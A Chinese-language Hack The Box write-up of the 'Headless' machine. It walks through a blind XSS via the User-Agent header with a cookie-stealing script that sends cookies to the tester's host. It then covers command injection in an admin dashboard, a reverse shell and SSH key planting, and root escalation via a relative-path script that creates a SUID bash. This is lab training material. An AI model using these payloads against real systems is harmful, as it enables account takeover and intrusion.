HTB: Headless (XSS) 攻击到反弹Shell

admin 2024年7月21日23:32:20评论37 views字数 21045阅读70分9秒阅读模式

HTB: Headless (XSS) 攻击到反弹Shell

Headless 是一款简单易用的 Linux 机器,具有托管网站的“Python Werkzeug”服务器。该网站有一个客户支持表单,通过“User-Agent”标头发现该表单容易受到盲跨站点脚本 (XSS) 攻击。此漏洞可用于窃取管理员 cookie,然后用于访问管理员仪表板。该页面容易受到命令注入攻击,从而导致机器出现反向 shell。枚举用户的邮件会显示一个不使用绝对路径的脚本,该脚本可用于以 root 身份获取 shell。

侦察-nmap

nmap发现两个开放的 TCP 端口,SSH(22)和 HTTP(5000):

oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.8Starting Nmap 7.80 ( https://nmap.org ) at 2024-07-11 13:26 EDTNmap scan report for 10.10.11.8Host is up (0.085s latency).Not shown: 65533 closed portsPORT     STATE SERVICE22/tcp   open  ssh5000/tcp open  upnpNmap done: 1 IP address (1 host up) scanned in 6.89 seconds
oxdf@hacky$ nmap -p 22,5000 -sCV 10.10.11.8Starting Nmap 7.80 ( https://nmap.org ) at 2024-07-11 13:28 EDTNmap scan report for 10.10.11.8Host is up (0.085s latency).PORT     STATE SERVICE VERSION22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)5000/tcp open  upnp?| fingerprint-strings:|   GetRequest:|     HTTP/1.1 200 OK|     Server: Werkzeug/2.2.2 Python/3.11.2|     Date: Thu, 11 Jul 2024 17:28:41 GMT|     Content-Type: text/html; charset=utf-8|     Content-Length: 2799|     Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/|     Connection: close|     <!DOCTYPE html>|     <html lang="en">|     <head>|     <meta charset="UTF-8">|     <meta name="viewport" content="width=device-width, initial-scale=1.0">|     <title>Under Construction</title>|     <style>|     body {|     font-family: 'Arial', sans-serif;|     background-color: #f7f7f7;|     margin: 0;|     padding: 0;|     display: flex;|     justify-content: center;|     align-items: center;|     height: 100vh;|     .container {|     text-align: center;|     background-color: #fff;|     border-radius: 10px;|     box-shadow: 0px 0px 20px rgba(0, 0, 0, 0.2);|   RTSPRequest:|     <!DOCTYPE HTML>|     <html lang="en">|     <head>|     <meta charset="utf-8">|     <title>Error response</title>|     </head>|     <body>|     <h1>Error response</h1>|     <p>Error code: 400</p>|     <p>Message: Bad request version ('RTSP/1.0').</p>|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>|     </body>|_    </html>1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :SF-Port5000-TCP:V=7.80%I=7%D=7/11%Time=66901648%P=x86_64-pc-linux-gnu%r(GeSF:tRequest,BE1,"HTTP/1.1x20200x20OKrnServer:x20Werkzeug/2.2.2x20SF:Python/3.11.2rnDate:x20Thu,x2011x20Julx202024x2017:28:41x20GMSF:TrnContent-Type:x20text/html;x20charset=utf-8rnContent-Length:x2SF:02799rnSet-Cookie:x20is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs;SF:x20Path=/rnConnection:x20closernrn<!DOCTYPEx20html>n<htmlx20SF:lang="en">n<head>nx20x20x20x20<metax20charset="UTF-8">nx20SF:x20x20x20<metax20name="viewport"x20content="width=device-width,SF:x20initial-scale=1.0">nx20x20x20x20<title>Underx20ConstructionSF:</title>nx20x20x20x20<style>nx20x20x20x20x20x20x20x20bodySF:x20{nx20x20x20x20x20x20x20x20x20x20x20x20font-family:x20SF:'Arial',x20sans-serif;nx20x20x20x20x20x20x20x20x20x20x20xSF:20background-color:x20#f7f7f7;nx20x20x20x20x20x20x20x20x20xSF:20x20x20margin:x200;nx20x20x20x20x20x20x20x20x20x20x20xSF:20padding:x200;nx20x20x20x20x20x20x20x20x20x20x20x20displSF:ay:x20flex;nx20x20x20x20x20x20x20x20x20x20x20x20justify-cSF:ontent:x20center;nx20x20x20x20x20x20x20x20x20x20x20x20aliSF:gn-items:x20center;nx20x20x20x20x20x20x20x20x20x20x20x20hSF:eight:x20100vh;nx20x20x20x20x20x20x20x20}nnx20x20x20x20SF:x20x20x20x20.containerx20{nx20x20x20x20x20x20x20x20x20SF:x20x20x20text-align:x20center;nx20x20x20x20x20x20x20x20x20SF:x20x20x20background-color:x20#fff;nx20x20x20x20x20x20x20x2SF:0x20x20x20x20border-radius:x2010px;nx20x20x20x20x20x20x20SF:x20x20x20x20x20box-shadow:x200pxx200pxx2020pxx20rgba(0,x200,SF:x200,x200.2);nx20x20x20x20x20")%r(RTSPRequest,16C,"<!DOCTYPExSF:20HTML>n<htmlx20lang="en">nx20x20x20x20<head>nx20x20x20x2SF:0x20x20x20x20<metax20charset="utf-8">nx20x20x20x20x20x20SF:x20x20<title>Errorx20response</title>nx20x20x20x20</head>nx20SF:x20x20x20<body>nx20x20x20x20x20x20x20x20<h1>Errorx20responsSF:e</h1>nx20x20x20x20x20x20x20x20<p>Errorx20code:x20400</p>nSF:x20x20x20x20x20x20x20x20<p>Message:x20Badx20requestx20versionSF:x20('RTSP/1.0').</p>nx20x20x20x20x20x20x20x20<p>Errorx20SF:codex20explanation:x20400x20-x20Badx20requestx20syntaxx20orx20uSF:nsupportedx20method.</p>nx20x20x20x20</body>n</html>n");Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 98.87 seconds

根据OpenSSH版本,主机很可能运行的是 Debian 12 bookworm。

5000 上的网络服务器正在运行 Python / Werkzeug。

网站 - TCP 80

站点:该网站已关闭:

HTB: Headless (XSS) 攻击到反弹Shell

该链接指向/support一个提供联系表格的页面:

HTB: Headless (XSS) 攻击到反弹Shell

单击提交不会显示任何反馈。我将查看 Burp(我的所有 HTB 流量都通过代理发送),并看到 POST 请求已发送,响应为 200 OK:

HTB: Headless (XSS) 攻击到反弹Shell

如果我尝试通过在消息中的标签之间添加一些内容来进行 HTML 注入<b>,例如“<b>Hello?</b>”,我会收到一条错误消息:

HTB: Headless (XSS) 攻击到反弹Shell

内容没有显示,但是所有 HTTP 请求标头似乎都显示出来。

技术堆栈

HTTP 响应标头显示它是一个 Werkzeug / Python 服务器:

HTTP/1.1 200 OKServer: Werkzeug/2.2.2 Python/3.11.2Date: Thu, 11 Jul 2024 17:34:59 GMTContent-Type: text/html; charset=utf-8Content-Length: 2799Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/Connection: close

我会注意到它设置了is_admincookie。我可以用这个 cookie 查看更多信息,但这对于解决 Headless 问题并不重要,所以我会做一些事情,比如解码 cookie、修改 cookie,并查看Beyond Root中处理它的源代码。

404 页面与默认 Flask 404 页面相匹配:

HTB: Headless (XSS) 攻击到反弹Shell

此时我可以说该网站很可能正在 Python Flask 上运行。

目录暴力破解

我将运行feroxbuster该网站来检查是否有任何其他页面/端点:

oxdf@hacky$ feroxbuster -u http://10.10.11.8:5000 ___  ___  __   __     __      __         __   ___|__  |__  |__) |__) | /  `    /   _/ | |   |__|    |___ |   |   | __,    __/ /  | |__/ |___by Ben "epi" Risher 🤓                 ver: 2.10.3───────────────────────────┬────────────────────── 🎯  Target Url            │ http://10.10.11.8:5000 🚀  Threads               │ 50 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt 👌  Status Codes          │ All Status Codes! 💥  Timeout (secs)        │ 7 🦡  User-Agent            │ feroxbuster/2.10.3 💉  Config File           │ /etc/feroxbuster/ferox-config.toml 🏁  HTTP methods          │ [GET] 🔃  Recursion Depth       │ 4 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest───────────────────────────┴────────────────────── 🏁  Press [ENTER] to use the Scan Management Menu™──────────────────────────────────────────────────404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter200      GET       96l      259w     2799c http://10.10.11.8:5000/200      GET       93l      179w     2363c http://10.10.11.8:5000/support500      GET        5l       37w      265c http://10.10.11.8:5000/dashboard[####################] - 2m     30000/30000   0s      found:3       errors:0[####################] - 2m     30000/30000   291/s   http://10.10.11.8:5000/

我已经探索过/support./dashboard返回 500(这是内部服务器错误)。访问它会显示一个未经授权的页面(有趣的是,是 HTTP 401,而不是 500,我将在Beyond Root中解释这一点):

HTB: Headless (XSS) 攻击到反弹Shell

Shell 作为 dvir

评估过滤器-单角色模糊

我将尝试使用以下选项检查可能导致提交问题的任何单个字符ffuf:

-u http://10.10.11.8:5000/support- 需要模糊测试的 URL-d 'fname=0xdf&lname=0xdf&email=0xdf@headless.htb&phone=9999999999&message=FUZZ'- 要发送的数据,FUZZed 项目是消息-w /opt/SecLists/Fuzzing/alphanum-case-extra.txt- 每行包含一组单个字符的单词表-H 'Content-Type: application/x-www-form-urlencoded'- 需要包含此项,否则服务器将返回 500-mr 'Your IP address has been flagged' - 仅显示包含该行的结果。

没有什么可以触发它:

oxdf@hacky$ ffuf -u http://10.10.11.8:5000/support -d 'fname=0xdf&lname=0xdf&[email protected]&phone=9999999999&message=FUZZ' -w /opt/SecLists/Fuzzing/alphanum-case-extra.txt -H 'Content-Type: application/x-www-form-urlencoded' -mr 'Your IP address has been flagged'        /'___  /'___           /'___              / __/ / __/  __  __  / __/                ,__\  ,__/ /    ,__                _/   _/  _    _/                _    _   ____/   _                 /_/    /_/   /___/    /_/              v2.0.0-dev________________________________________________ :: Method           : POST :: URL              : http://10.10.11.8:5000/support :: Wordlist         : FUZZ: /opt/SecLists/Fuzzing/alphanum-case-extra.txt :: Header           : Content-Type: application/x-www-form-urlencoded :: Data             : fname=0xdf&lname=0xdf&[email protected]&phone=9999999999&message=FUZZ :: Follow redirects : false :: Calibration      : false :: Timeout          : 10 :: Threads          : 40 :: Matcher          : Regexp: Your IP address has been flagged________________________________________________:: Progress: [95/95] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::

Repeater

我将把触发阻止的请求转移到 Burp Repeater:

HTB: Headless (XSS) 攻击到反弹Shell

我将对其进行 URL 解码message,但它仍然触发:

HTB: Headless (XSS) 攻击到反弹Shell

这并没有教会我任何新东西,但却使它更容易玩。

一个好方法是一次删除一个字符,直到不再触发问题。在本例中,删除第一个字符后>,它就不会再触发警报:

HTB: Headless (XSS) 攻击到反弹Shell

>单独使用不会触发它。我猜它正在寻找 HTML 标签,因此需要<和>:

HTB: Headless (XSS) 攻击到反弹Shell

它还会在 SSTI 尝试({{和}})时触发

HTB: Headless (XSS) 攻击到反弹Shell

访问仪表板 POC

让 XSS 或 SSTI 越过这一障碍会很困难。但它确实表明,它不仅被检测到,而且还被送去进行高优先级审查。如果送去审查的数据看起来像显示的内容,我可以在其中进行 XSS 吗?

我添加的任何标题都包括在内:

HTB: Headless (XSS) 攻击到反弹Shell

如果我<script>向该标题(或任何标题)添加标签,它似乎会处理:

HTB: Headless (XSS) 攻击到反弹Shell

“在浏览器中显示响应”选项在这里很有用:

HTB: Headless (XSS) 攻击到反弹Shell

这就是XSS:

HTB: Headless (XSS) 攻击到反弹Shell

窃取cookie

最简单的 XSS 有效载荷就是窃取查看报告的人的 cookie。我将添加一个简单的 cookie 窃取程序:

<script>var i=new Image(); i.src="http://10.10.14.6/?c="+document.cookie;</script>

这将向<img>页面添加一个新标签,其中包含我服务器上包含用户 cookie 的源 URL。要使此功能正常工作,必须不将 cookie 配置为HttpOnly,Firefox dev tools 显示为 False:

HTB: Headless (XSS) 攻击到反弹Shell

我将使用 启动 Python 网络服务器python -m http.server 80。我已提供python二进制文件cap_net_bind_service,因此它可以在无需 root 权限的情况下监听低端口。我需要在没有 rootsudo权限的情况下运行。另外,我的python是 Python3。

oxdf@hacky$ python -m http.server 80Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

现在我将在中继器中发送有效载荷:

HTB: Headless (XSS) 攻击到反弹Shell

通过 Render 中的 Response,它实际上会触发并访问我的网络服务器:

10.10.14.6 - - [11/Jul/2024 14:56:48] "GET /?c= HTTP/1.1" 200 -

它没有 cookie,所以是空白的。不到一分钟后,Headless 又发出了更多连接:

10.10.11.8 - - [11/Jul/2024 14:57:30] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -10.10.11.8 - - [11/Jul/2024 14:57:33] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -10.10.11.8 - - [11/Jul/2024 14:57:35] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -

访问仪表板

我将进入 Firefox 开发工具的“存储”选项卡,并用以下值替换我的 cookie:

HTB: Headless (XSS) 攻击到反弹Shell

现在访问/dashboard,会加载一个不同的页面:

HTB: Headless (XSS) 攻击到反弹Shell

命令注入 RCE

仪表板枚举 - 单击“生成报告”将显示以下形式的消息:

HTB: Headless (XSS) 攻击到反弹Shell

点击时发送的HTTP请求是:

POST /dashboard HTTP/1.1Host: 10.10.11.8:5000User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0Content-Type: application/x-www-form-urlencodedContent-Length: 18Origin: http://10.10.11.8:5000Connection: closeReferer: http://10.10.11.8:5000/dashboardCookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0date=2023-09-15

命令注入 POC

在浏览器中,我无法将字段更改为除日期之外的任何内容。但在 Burp 中,我可以处理请求。我会将该请求发送到 Repeater。

如果我考虑一下服务器正在做什么,它可能会获取日期并查找有关该日期报告发生的情况的信息。如果它可以用 Python 做到这一点,那就太好了。但如果它需要运行一些系统命令,它可能会获取我的输入并从中构建命令,然后使用该字符串调用类似或的东西subprocess.run。os.system为了检查这一点,我将尝试; id在日期末尾添加:

HTB: Headless (XSS) 攻击到反弹Shell

成功了!命令的输出id显示在响应中。

通过 SSH 进行 Shell

我可以快速检查 dvir 用户主目录中的私有 SSH 密钥,但那里没有:

HTB: Headless (XSS) 攻击到反弹Shell

我可以自己写一个。我会生成一个密钥(我喜欢 ed25519,因为它们很短):
oxdf@hacky$ ssh-keygen -t ed25519 -f keyGenerating public/private ed25519 key pair.Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in keyYour public key has been saved in key.pubThe key fingerprint is:SHA256:PGAmS1HqWDvKz/OqV+BSn2LNxs6qlCfQRs9mXOJHVPQ oxdf@hackyThe key's randomart image is:+--[ED25519 256]--+|    ..ooo        ||     +   .       ||  . * *   E      || o XoX o         ||. +o%*..S        || +.=+oO  .       ||  *o.*           || . =o o          ||  o+==.          |+----[SHA256]-----+oxdf@hacky$ ls key*key  key.pub

我需要将key.pub内容放入文件中authorized_keys:

HTB: Headless (XSS) 攻击到反弹Shell

现在我将使用 SSH 连接:

oxdf@hacky$ ssh -i key [email protected]Linux headless 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64...[snip]...Last login: Thu Jul 11 21:15:45 2024 from 10.10.14.6dvir@headless:~$

我可以读到user.txt:

dvir@headless:~$ cat user.txtc857e232************************

通过反向 Shell 实现 Shell

我将使用一个简单的 Bash 反向 shell(我在本视频中详细介绍了):

HTB: Headless (XSS) 攻击到反弹Shell

我已手动&对字符进行编码%26,以便它们不会与新 POST 参数的开头混淆。我将开始nc监听端口 443,然后发送此信息。它挂起了。在nc:

oxdf@hacky$ nc -lnvp 443Listening on 0.0.0.0 443Connection received on 10.10.11.8 39124bash: cannot set terminal process group (1347): Inappropriate ioctl for devicebash: no job control in this shelldvir@headless:~/app$

我将进行标准 shell 升级:

dvir@headless:~/app$ script /dev/null -c bashscript /dev/null -c bashScript started, output log file is '/dev/null'.dvir@headless:~/app$ ^Z[1]+  Stopped                 nc -lnvp 443oxdf@hacky$ stty raw -echo; fgnc -lnvp 443            reset reset: unknown terminal type unknownTerminal type? screendvir@headless:~/app$

并抓住user.txt:

dvir@headless:~$ cat user.txtc857e232************************

以 root 身份运行 Shell

枚举 用户/主目录

dvir 的主目录中没有太多值得关注的内容:

dvir@headless:~$ ls -latotal 48drwx------  8 dvir dvir 4096 Feb 16 23:49 .drwxr-xr-x  3 root root 4096 Sep  9  2023 ..drwxr-xr-x  3 dvir dvir 4096 Jul 11 21:22 applrwxrwxrwx  1 dvir dvir    9 Feb  2 16:05 .bash_history -> /dev/null-rw-r--r--  1 dvir dvir  220 Sep  9  2023 .bash_logout-rw-r--r--  1 dvir dvir 3393 Sep 10  2023 .bashrcdrwx------ 12 dvir dvir 4096 Sep 10  2023 .cachelrwxrwxrwx  1 dvir dvir    9 Feb  2 16:05 geckodriver.log -> /dev/nulldrwx------  3 dvir dvir 4096 Feb 16 23:49 .gnupgdrwx------  4 dvir dvir 4096 Feb 16 23:49 .localdrwx------  3 dvir dvir 4096 Sep 10  2023 .mozilla-rw-r--r--  1 dvir dvir  807 Sep  9  2023 .profilelrwxrwxrwx  1 dvir dvir    9 Feb  2 16:06 .python_history -> /dev/nulldrwx------  2 dvir dvir 4096 Jul 11 22:39 .ssh-rw-r-----  1 root dvir   33 Sep 10  2023 user.txt

如果文件夹中有配置文件,那么它.mozilla可能会很有趣,但是文件夹中没有:

dvir@headless:~$ find .mozilla/.mozilla/.mozilla/firefox.mozilla/firefox/Crash Reports.mozilla/firefox/Crash Reports/InstallTime20240212204114.mozilla/firefox/Crash Reports/events.mozilla/firefox/Crash Reports/InstallTime20240115170312.mozilla/firefox/Crash Reports/InstallTime20230822151617.mozilla/firefox/Pending Pings

没有其他用户的主目录/home或 shell :

dvir@headless:/home$ lsdvirdvir@headless:/home$ grep 'sh$' /etc/passwdroot:x:0:0:root:/root:/bin/bashdvir:x:1000:1000:dvir,,,:/home/dvir:/bin/bash

sudo

sudo -l显示该用户可以以其他用户身份运行的内容:

dvir@headless:~$ sudo -lMatching Defaults entries for dvir on headless:    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin, use_ptyUser dvir may run the following commands on headless:    (ALL) NOPASSWD: /usr/bin/syscheck

dvir 用户可以syscheck以任何用户身份运行,无需密码。

syscheck

元数据 - syscheck是一个 Bash 脚本:

dvir@headless:~$ file /usr/bin/syscheck /usr/bin/syscheck: Bourne-Again shell script, ASCII text executable

我很好奇,想知道它是真实文件还是为 Headless 创建的文件。搜索“syscheck”会返回很多内容,但显然没有匹配的内容。我将获取该文件的哈希值:

dvir@headless:~$ md5sum /usr/bin/syscheckbc05df1a6d7529c5bdad5d9ab4e59af0  /usr/bin/syscheck

我将其输入到 VirusTotal 的搜索栏中,它会返回:

HTB: Headless (XSS) 攻击到反弹Shell

如果这是现实世界中的实用工具,那么现在它肯定已经进入 VT 了。这表明它是 Headless 的定制产品。

运行

就像/usr/bin在我的 中一样$PATH,我可以直接运行它。作为普通用户,它什么也不做。但作为 root,它有输出:

dvir@headless:~$ syscheck dvir@headless:~$ sudo syscheckLast Kernel Modification Time: 01/02/2024 10:05Available disk space: 1.8GSystem load average:  0.00, 0.01, 0.00Database service is not running. Starting it...

来源

脚本不是很长:

#!/bin/bashif [ "$EUID" -ne 0 ]; then  exit 1filast_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")/usr/bin/echo "Last Kernel Modification Time: $formatted_time"disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')/usr/bin/echo "Available disk space: $disk_space"load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')/usr/bin/echo "System load average: $load_average"if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then  /usr/bin/echo "Database service is not running. Starting it..."  ./initdb.sh 2>/dev/nullelse  /usr/bin/echo "Database service is running."fiexit 0

首先检查运行用户是否为 root,如果不是则退出:

if [ "$EUID" -ne 0 ]; then  exit 1fi

vmlinuz它获取文件的最后修改时间/boot并打印出来:

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

它解析df -h并打印以下内容:

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')/usr/bin/echo "Available disk space: $disk_space"

它获取部分输出uptime并打印以下内容:

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')/usr/bin/echo "System load average: $load_average"

然后它使用pgrep来查找initdb.sh其中的进程列表中的任何内容。如果它没有找到任何东西,它会打印并运行./initdb.sh。否则它只会打印:

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then  /usr/bin/echo "Database service is not running. Starting it..."  ./initdb.sh 2>/dev/nullelse  /usr/bin/echo "Database service is running."fi

然后它退出:

exit 0

初始化数据库文件

这实际上并不重要,但我可以在磁盘中搜索名为的文件initdb.sh:

dvir@headless:~$ find / -name 'initdb.sh' 2>/dev/null

什么也没找到。它可能存在于 dvir 无法访问的目录中。

但同样,这没关系。它被称为./initdb.sh,这意味着它将在调用者所在的任何目录中查找该文件。

Exploit

我将编写一个简单的 Bash 脚本,它将复制bash到/tmp/0xdf,将该文件的所有者设置为 root,然后将其设置为 SetUID/SetGID(这意味着它将以所有者的身份运行,而不是以运行它的用户的身份运行)。这实际上给了我一个bash以 root 身份运行的副本:

dvir@headless:/dev/shm$ echo -e '#!/bin/bashnncp /bin/bash /tmp/0xdfnchown root:root /tmp/0xdfnchmod 6777 /tmp/0xdf' | tee initdb.sh#!/bin/bashcp /bin/bash /tmp/0xdfchown root:root /tmp/0xdfchmod 6777 /tmp/0xdfdvir@headless:/dev/shm$ chmod +x initdb.sh

使脚本可执行也很重要。我会跑sudo syscheck:

dvir@headless:/dev/shm$ sudo syscheckLast Kernel Modification Time: 01/02/2024 10:05Available disk space: 1.8GSystem load average:  0.04, 0.05, 0.01Database service is not running. Starting it...

現在/tmp/0xdf存在:

dvir@headless:/dev/shm$ ls -l /tmp/0xdf -rwsrwsrwx 1 root root 1265648 Jul 11 23:16 /tmp/0xdf

我将用它运行它-p(bash如果没有它将会放弃权限)并获取 root shell:

dvir@headless:/dev/shm$ /tmp/0xdf -p0xdf-5.2#

我将清理二进制文件并获取根标志:

0xdf-5.2# rm /tmp/0xdf 0xdf-5.2# cat /root/root.txt2694e156************************

超越 ROOT

Cookie 探索 - 解码

该is_adminCookie 由两个 base64 编码的字符串组成,.中间有一个:

is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs

我最好的猜测是,第一个是数据,第二个是签名。

oxdf@hacky$ echo "InVzZXIi" | base64 -d"user"

第二个字符串是 URL 安全的 base64 编码(该_字符不是标准 base64 字母表的一部分)。它在Cyberchef中很容易解码,尽管是随机垃圾(作为签名是有意义的):

HTB: Headless (XSS) 攻击到反弹Shell

我偷来的cookie是类似的:

is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

解码第一位将返回错误:

oxdf@hacky$ echo "ImFkbWluIg" | base64 -d"admin"base64: invalid input

Base64 编码的数据应该用零个、一个或两个“=”填充,具体取决于编码数据的长度。在 Cookie 等地方,通常会删除填充(不会丢失任何数据)。我可以尝试使用一个和两个“=”,结果两个“=”可以正常工作:

oxdf@hacky$ echo "ImFkbWluIg=" | base64 -d"admin"base64: invalid inputoxdf@hacky$ echo "ImFkbWluIg==" | base64 -d"admin"

与用户数据一样,第二组数据解码为 URL 安全的 base64,但没有什么有趣的内容:

HTB: Headless (XSS) 攻击到反弹Shell

修改

我可以尝试修改 cookie 的部分内容。如果我从未修改的用户 cookie 开始,则会收到 401 UNAUTHORIZED 错误/dashbard:

HTB: Headless (XSS) 攻击到反弹Shell

如果我从 cookie 末尾删除一个字符,它就会崩溃:

HTB: Headless (XSS) 攻击到反弹Shell

如果我将其恢复为正常,并用编码的“admin”字符串替换第一部分,它仍然会崩溃:

HTB: Headless (XSS) 攻击到反弹Shell

它似乎正在进行某种验证,如果验证失败,则会抛出未处理的异常。

来源

该应用程序的来源位于/home/dvir/app/:

dvir@headless:~/app$ lsapp.py  dashboard.html  hackattempt.html  hacking_reports  index.html  inspect_reports.py  report.sh  support.html

app.py为应用程序完成大部分工作。在 Flask 中,每个路由都是一个带有@app.route装饰器的 Python 函数。例如,Web 根目录/:

@app.route('/')def index():    client_ip = request.remote_addr    is_admin = True if client_ip in ['127.0.0.1', '::1'] else False    token = "admin" if is_admin else "user"    serialized_value = serializer.dumps(token)    response = make_response(render_template('index.html', is_admin=token))    response.set_cookie('is_admin', serialized_value, httponly=False)    return response  
它使用客户端 IP 来制作 cookie,然后使用模板生成响应对象index.html(这里不需要传递is_admin=token),在响应中设置 cookie,并发送响应。唯一关心 cookie 的路线是/dashboard:
@app.route('/dashboard', methods=['GET', 'POST'])def admin():                           if serializer.loads(request.cookies.get('is_admin')) == "user":        return abort(401)    script_output = ""              if request.method == 'POST':                date = request.form.get('date')        if date:                     script_output = os.popen(f'bash report.sh {date}').read()    return render_template('dashboard.html', script_output=script_output)

它获取 cookie 并使用serializer.loads方法对其进行解码。serializer定义在文件顶部:

app.secret_key = b'PcBE2u6tBomJmDMwUbRzO18I07A'serializer = URLSafeSerializer(app.secret_key)

URLSafeSerlializer在第二行导入:

from itsdangerous import URLSafeSerializer

此对象使用密钥将一些数据编码为字符串(使用 base64),并根据密钥附加签名。这样,Web 应用程序就可以将信息传递给用户,然后从用户那里取回该信息,并且知道该信息没有被修改(假设用户无权访问密钥)。

我可以在 Python repl 中通过创建serializer具有相同键的值来模拟这一点:

oxdf@hacky$ pythonPython 3.11.9 (main, Apr  6 2024, 17:59:24) [GCC 11.4.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>> from itsdangerous import URLSafeSerializer>>> secret_key = b'PcBE2u6tBomJmDMwUbRzO18I07A' >>> serializer = URLSafeSerializer(secret_key)

如果我给它默认获取的 cookie,它会返回“用户”:

>>> serializer.loads('InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs')'user'

如果我通过编辑签名(删除最后一个字符)或编辑数据来破坏签名,则会引发异常:

>>> serializer.loads('InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zf')Traceback (most recent call last):  File "<stdin>", line 1, in <module>  File "/usr/local/lib/python3.11/dist-packages/itsdangerous/serializer.py", line 236, in loads    raise _t.cast(BadSignature, last_exception)  File "/usr/local/lib/python3.11/dist-packages/itsdangerous/serializer.py", line 232, in loads    return self.load_payload(signer.unsign(s))                             ^^^^^^^^^^^^^^^^  File "/usr/local/lib/python3.11/dist-packages/itsdangerous/signer.py", line 247, in unsign    raise BadSignature(f"Signature {sig!r} does not match", payload=value)itsdangerous.exc.BadSignature: Signature b'uAlmXlTvm8vyihjNaPDWnvB_Zf' does not match>>> serializer.loads('ImFkbWluIg.uAlmXlTvm8vyihjNaPDWnvB_Zfs')Traceback (most recent call last):  File "<stdin>", line 1, in <module>  File "/usr/local/lib/python3.11/dist-packages/itsdangerous/serializer.py", line 236, in loads    raise _t.cast(BadSignature, last_exception)  File "/usr/local/lib/python3.11/dist-packages/itsdangerous/serializer.py", line 232, in loads    return self.load_payload(signer.unsign(s))                             ^^^^^^^^^^^^^^^^  File "/usr/local/lib/python3.11/dist-packages/itsdangerous/signer.py", line 247, in unsign    raise BadSignature(f"Signature {sig!r} does not match", payload=value)itsdangerous.exc.BadSignature: Signature b'uAlmXlTvm8vyihjNaPDWnvB_Zfs' does not match

由于代码没有尝试处理这些错误,所以这解释了当我弄乱 cookie 时出现 500 错误的原因。

仪表板错误代码

当我暴力破解网络服务器上的目录时,我注意到feroxbuster报告了/dashboard500 错误。我记得当时很恼火,因为错误代码是 500 而不是 401,尤其是在看到返回的页面没有管理员权限之后:

HTB: Headless (XSS) 攻击到反弹Shell

我记得当时我曾这样想过:“这确实应该是 401 响应,而不是 500”。但在 Burp 中查看,它实际上是401:

HTB: Headless (XSS) 攻击到反弹Shell

发生了什么事?那 呢curl?它是 500:

oxdf@hacky$ curl http://10.10.11.8:5000/dashboard -v*   Trying 10.10.11.8:5000...* Connected to 10.10.11.8 (10.10.11.8) port 5000 (#0)> GET /dashboard HTTP/1.1> Host: 10.10.11.8:5000> User-Agent: curl/7.81.0> Accept: */*> * Mark bundle as not supporting multiuse< HTTP/1.1 500 INTERNAL SERVER ERROR< Server: Werkzeug/2.2.2 Python/3.11.2< Date: Fri, 12 Jul 2024 11:38:11 GMT< Content-Type: text/html; charset=utf-8< Content-Length: 265< Connection: close< <!doctype html><html lang=en><title>500 Internal Server Error</title><h1>Internal Server Error</h1><p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>* Closing connection 0

此处的区别在于,我的浏览器有一个 cookie,表明用户不是管理员,而feroxbuster和curl根本没有 cookie。我已经注意到,当我编辑 cookie 时,签名无效时会发生什么。当 cookie 不存在时,也会发生同样的问题。该网站的编码很差,以至于它只是假设 cookie 存在,而当 cookie 不存在时,网站就会崩溃。路线的第一行/dashboard是:

    if serializer.loads(request.cookies.get('is_admin')) == "user":        return abort(401)

它调用request.cookies.get('is_admin'),返回None。request.cookies只是一本字典,所以我可以模拟这个:

>>> cookies = {}>>> cookies.get("is_admin")>>> cookies.get("is_admin") is NoneTrue

调用serializer.loads(None)将会崩溃:

